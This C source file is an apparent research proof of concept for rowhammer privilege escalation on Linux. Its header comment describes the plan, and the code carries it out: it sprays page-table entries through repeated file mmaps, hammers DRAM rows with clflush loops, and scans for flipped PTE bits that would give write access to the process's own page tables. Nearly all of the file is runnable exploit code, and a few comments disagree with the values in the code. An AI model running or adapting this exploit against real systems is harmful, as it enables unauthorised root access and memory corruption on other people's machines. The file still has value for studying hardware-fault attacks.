/*
 * An attempt at escalating privileges under Linux systems whose RAM is 
 * vulnerable to row hammering.
 *
 * Work by mseaborn@google.com and thomasdullien@google.com
 *
 * We can probabilistically flip random bits in physical memory in memory rows
 * "close" to the rows we are hammering. In order to exploit this, we wish to
 * have a (physical) memory layout that looks roughly like this:
 *
 * [Physical pages used by the kernel as PTEs for a mapping we have access to] 
 * [Physical page that gets hammered]
 * [Physical pages used by the kernel as PTEs for a mapping we have access to]
 * [Physical page that gets hammered]
 * (...)
 *
 * We wish to reach a point where a high fraction of physical memory is filled
 * with this pattern. When we cause a bit-flip in a physical page adjacent to
 * one we are hammering, we are corrupting a PTE for a page that is mapped into
 * our virtual address space.
 *
 * If we succeed in corrupting one of the bits for indexing into the physical
 * pages, we have a high probability that we will now have a RW mapping of a
 * part of our processes page table; this should allow us full privilege 
 * escalation.
 *
 * In order to obtain the desired layout in physical memory, we perform the
 * following actions:
 *
 * (1) Reserve a 1GB chunk for hammering, but do not allocate it yet.
 * (2) mmap() a file repeatedly into our address space to force the OS to create
 *     PTEs. For each 512m we map, we get 1m of PTEs.
 * (3) Touch the first/next page from the 1GB chunk.
 * (4) Repeat steps (2) and (3) until physical memory is full.
 * (5) Start row-hammering the 1GB area for a while.
 * (6) Iterate over all mappings created in step (2), and check whether they map
 *     to the correct page.
 * (7) If they do, we have lost. Goto (5).
 * (8) If they don't, we have won.
 *
 *
 */

#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/sysinfo.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

// Abort the attack after a given number of attempts at inducing bit flips.
const uint32_t maximum_tries = 1024;

const size_t hammer_workspace_size = 1ULL << 32;
const int toggles = 540000;

const uint64_t size_of_pte_sprays = 1ULL << 22;
const uint64_t size_of_hammer_targets = 1ULL << 20;

const char* mapped_filename = "./mapped_file.bin";
 
// Reserve, but do not map, a range of addresses of a given size.
uint8_t* reserve_address_space(uint64_t size) {
  uint8_t* mapping = (uint8_t*)mmap(NULL, size, PROT_NONE, 
      MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  if (mapping == (void*)-1) {
    printf("[E] Failed to reserve %lx of address space, exiting\n", size);
    exit(1);
  }
  return mapping;
}

// Spray PTEs into kernel space by repeatedly mapping the same file into a
// given pre-reserved area of memory. 
//
// Returns the "end" of the mappings, e.g. the first address past the last file
// mapping that was created during the PTE spray.
uint8_t* spray_pte(
    uint8_t* address, uint64_t size_of_pte_spray, int file_descriptor,
    uint64_t file_size) {

  uint64_t size_of_sprayed_ptes = 0;
  while (size_of_sprayed_ptes < size_of_pte_spray) {
    void* mapping = mmap(address, file_size, PROT_READ | PROT_WRITE, 
        MAP_POPULATE | MAP_SHARED | MAP_FIXED, file_descriptor, 0);
    size_of_sprayed_ptes += file_size / 512;
    address += file_size + (file_size % 0x1000);  // Round up to next page size.

    if (mapping == (void*)-1) {
      printf("[E] Failed to spray PTE's (%s).\n", strerror(errno));
      exit(1);
    }
  }
  return address;
}

// Create and write the file that will be mapped later.
void create_and_write_file_to_be_mapped() {
  FILE* mapfile = fopen(mapped_filename, "wb");
  char pagedata[0x1000];
  uint16_t* start_page = (uint16_t*)&pagedata[0];
  memset(pagedata, 'X', sizeof(pagedata));

  for (uint32_t i = 0; i <= 0xFFFF; ++i) {
    start_page[0] = (uint16_t)i;
    fwrite(pagedata, sizeof(pagedata), sizeof(char), mapfile);
    fflush(mapfile);
  }
  fclose(mapfile);
}

// Obtain the size of the physical memory of the system.
uint64_t get_physical_memory_size() {
  struct sysinfo info;
  sysinfo( &info );
  return (size_t)info.totalram * (size_t)info.mem_unit;
}

// Pick a random page in the memory region.
uint8_t* pick_addr(uint8_t* area_base, uint64_t mem_size) {
  size_t offset = (rand() << 12) % mem_size;
  return area_base + offset;
}

// Helper class to show timing information during the hammering.
class Timer {
  struct timespec start_time_;

 public:
  Timer() {
    int rc = clock_gettime(CLOCK_MONOTONIC, &start_time_);
    assert(rc == 0);
  }

  double get_diff() {
    struct timespec end_time;
    int rc = clock_gettime(CLOCK_MONOTONIC, &end_time);
    assert(rc == 0);
    return (end_time.tv_sec - start_time_.tv_sec
            + (double) (end_time.tv_nsec - start_time_.tv_nsec) / 1e9);
  }

  void print_iters(uint64_t iterations) {
    double total_time = get_diff();
    double iter_time = total_time / iterations;
    printf("  %.3f nanosec per iteration: %g sec for %" PRIu64 " iterations\n",
           iter_time * 1e9, total_time, iterations);
  }
};

static void row_hammer(int iterations, int addr_count, uint8_t* area, 
    uint64_t size) {
  Timer t;
  for (int j = 0; j < iterations; j++) {
    uint32_t num_addrs = addr_count;
    volatile uint32_t *addrs[num_addrs];
    for (int a = 0; a < addr_count; a++) { 
      addrs[a] = (uint32_t *) pick_addr(area, size); 
    }

    uint32_t sum = 0;
    for (int i = 0; i < toggles; i++) {
      for (int a = 0; a < addr_count; a++) 
        sum += *addrs[a] + 1;
      for (int a = 0; a < addr_count; a++)
        asm volatile("clflush (%0)" : : "r" (addrs[a]) : "memory");
    }

    // Just some code to make sure the above summation is not optimized out.
    if (sum != 0) {
      printf("[!] Sum was %lx\n", (uint64_t)sum);
    }
  }
  t.print_iters(iterations * addr_count * toggles);
}

void dump_page(uint8_t* data) {
  for (int i = 0; i < 0x1000; ++i) {
    if (i % 32 == 0) {
      printf("\n");
    }
    printf("%2.2x ", data[i]);
  }
  printf("\n");
}

bool check_hammer_area_integrity(uint8_t *hammer_area, uint64_t max_size) {
  bool no_corruption = true;
  for (uint8_t* check = hammer_area; 
    check < hammer_area + max_size; ++check) {
    if (*check != 0xFF) {
      dump_page(check);
      printf("[!] Found bitflip inside hammer workspace at %lx.\n", 
        check-hammer_area);
      no_corruption = false;
    }
  }
  return no_corruption;
}

bool check_mapping_integrity(uint8_t* mapping, uint64_t max_size) {
  bool first_page_ok =
    (mapping[0] == 0) && (mapping[1] == 0) && (mapping[2] =='X');
  bool all_pages_ok = true;

  if (!first_page_ok) {
    return false;
  }

  // Check for all following pages that the dwords at the beginning of the 
  // pages are in ascending order.
  for (uint8_t* check_pointer = mapping + 0x1000; 
      check_pointer < mapping+max_size; check_pointer += 0x1000) {
    uint16_t* previous_page = (uint16_t*)(check_pointer-0x1000);
    uint16_t* current_page = (uint16_t*)check_pointer;
    uint16_t previous_page_counter = previous_page[0];
    uint16_t current_page_counter = current_page[0];
    //printf("%u == %u ?\n", (uint16_t)(previous_page_counter+1), 
    //    (uint16_t)current_page_counter);
    if ((uint16_t)(previous_page_counter + 1) != 
        (uint16_t)current_page_counter) {
      printf("[!] Possible winning ticket found at %lx\n", 
          (uint64_t)check_pointer);
      printf("[!] Expected page counter %x, got %x.", 
          (uint16_t)(previous_page_counter+1), (uint16_t)current_page_counter);
      // Dump the hexadecimal contents of the page.
      dump_page(check_pointer);
      all_pages_ok = false;  
    }
  } 
  return all_pages_ok;
}

uint64_t get_physical_address(uint64_t virtual_address) {
  int fd = open("/proc/self/pagemap", O_RDONLY);
  assert(fd >=0);

  off_t pos = lseek(fd, (virtual_address / 0x1000) * 8, SEEK_SET);
  assert(pos >= 0);
  uint64_t value;
  int got = read(fd, &value, 8);

  close(fd);
  assert(got == 8);
  return ((value & ((1ULL << 54)-1)) * 0x1000) | 
    (virtual_address & 0xFFF);
}

void dump_physical_addresses(uint8_t* mapping, uint64_t max_size) {
  for (uint8_t* begin = mapping; begin < mapping + max_size; begin += 0x1000) {
    printf("[!] Virtual %lx -> Physical %lx\n", (uint64_t)begin, 
        get_physical_address((uint64_t)begin));
  }
}

int main(int argc, char**argv) {
  // Reserve a massive (16 TB) area of address space for us to fill with file 
  // mappings of a file - the goal is to fill physical memory with PTEs.
  uint8_t* file_map_workspace = reserve_address_space(1ULL << 44);

  // Allocate, but do not yet populate a 1GB area of memory that we are going to
  // hammer.
  uint8_t* hammer_workspace = (uint8_t*) mmap(NULL, hammer_workspace_size,
      PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

  printf("[!] Creating file to be mapped.\n");
  create_and_write_file_to_be_mapped();

  // Obtain the physical memory size of the current system.
  uint64_t physical_memory_size = get_physical_memory_size();
  printf("[!] System has %ld bytes of physical memory\n", physical_memory_size);

  // Open the file that we will repeatedly map to spray PTEs.
  int mapped_file_descriptor = open(mapped_filename, O_RDWR);
  struct stat st;
  if (stat(mapped_filename, &st) != 0) {
    printf("[E] Failed to stat %s, exiting.\n", mapped_filename);
    exit(1);
  }
  uint64_t file_size = st.st_size;

  // A rough estimate on how much physical memory has been sprayed.
  uint64_t physical_memory_consumed = 0;
  uint8_t* current_pointer_into_file_map_workspace = file_map_workspace;
  uint8_t* current_pointer_into_hammer_workspace = hammer_workspace;
  // Aim to spray into 90% of physical memory.
  while (physical_memory_consumed <= (0.1 * (double)physical_memory_size)) {

    // Spray a bunch of PTEs.
    current_pointer_into_file_map_workspace = 
      spray_pte(current_pointer_into_file_map_workspace, size_of_pte_sprays,
          mapped_file_descriptor, file_size);
    // Was the PTE spraying successful?
    if (current_pointer_into_file_map_workspace == (uint8_t*)-1) {
      printf("[!] Failed to spray PTEs after having consumed %lx bytes.", 
          physical_memory_consumed);
      exit(1);
    }
    physical_memory_consumed += size_of_pte_sprays;

    // Now touch a bunch of pages in the hammer workspace to have physical pages
    // allocated for them.
    for (uint64_t size_counter = 0; size_counter < size_of_hammer_targets;
        size_counter += 0x1000) {
      if ((current_pointer_into_hammer_workspace + size_counter) < 
          hammer_workspace + hammer_workspace_size) {
        memset(current_pointer_into_hammer_workspace + size_counter, 0xFF, 
            0x1000);
      }
    }
    current_pointer_into_hammer_workspace += size_of_hammer_targets;
    physical_memory_consumed += size_of_hammer_targets;
    printf("[!] Should have consumed ~%ld bytes of physical memory\n", 
        physical_memory_consumed);
  }

  // All memory should be properly set up to be hammered. Check the integrity
  // pre-hammering.
  printf("[!] Finished creating physical memory layout.\n");
  
  uint64_t hammer_area_size = current_pointer_into_hammer_workspace - 
    hammer_workspace;
  uint64_t mapping_area_size = current_pointer_into_file_map_workspace -
    file_map_workspace;

  // Dump virtual addresses to the console so we can inspect where they end up
  // in physical memory.
  printf("[!] Hammer workspace is at %lx and of %" PRId64 ".\n",
      (uint64_t)hammer_workspace, hammer_area_size);
  printf("[!] File mappings are at %lx and of %" PRId64 " size.\n",
      (uint64_t)file_map_workspace, mapping_area_size);

  // Dump virtual-to-physical mapping for the hammer area and the file mapping.
  printf("[!] Dumping physical addresses for hammer workspace.\n");
  dump_physical_addresses(hammer_workspace, hammer_area_size);
  printf("[!] Dumping physical addresses for file mapping.\n");
  dump_physical_addresses(file_map_workspace, file_size);

  printf("[!] Checking integrity of mapping prior to hammering ... ");
  if (check_mapping_integrity(file_map_workspace, mapping_area_size)) {
    printf("PASS\n");
  } else {
    printf("FAIL\n");
  }

  printf("[!] Checking integrity of mapping workspace prior to hammering ... ");
  fflush(stdout);
  if (check_hammer_area_integrity(hammer_workspace, hammer_area_size)) {
    printf("PASS\n");
  } else {
    printf("FAIL\n");
  }

  // Begin the actual hammering.
  for (int tries = 0; tries < maximum_tries; ++tries) {
    // Hammer memory.
    printf("[!] About to hammer for a few minutes.\n");
    row_hammer(3000, 4, hammer_workspace, current_pointer_into_hammer_workspace -
        hammer_workspace);

    // Attempt to verify the integrity of the mapping.
    printf("[!] Done hammering. Now checking mapping integrity.\n");
    if (!check_mapping_integrity(file_map_workspace, 
        current_pointer_into_file_map_workspace-file_map_workspace)) {
      fgetc(stdin);
    } else {
      printf("[!] No PTE entries modified\n");
    }

    printf("[!] Checking integrity of mapping workspace post-hammering ... ");
    fflush(stdout);
    if (check_hammer_area_integrity(hammer_workspace, 
        current_pointer_into_hammer_workspace - hammer_workspace)) {
       printf("PASS\n");
    } else {
      printf("FAIL\n");
    }

  }
}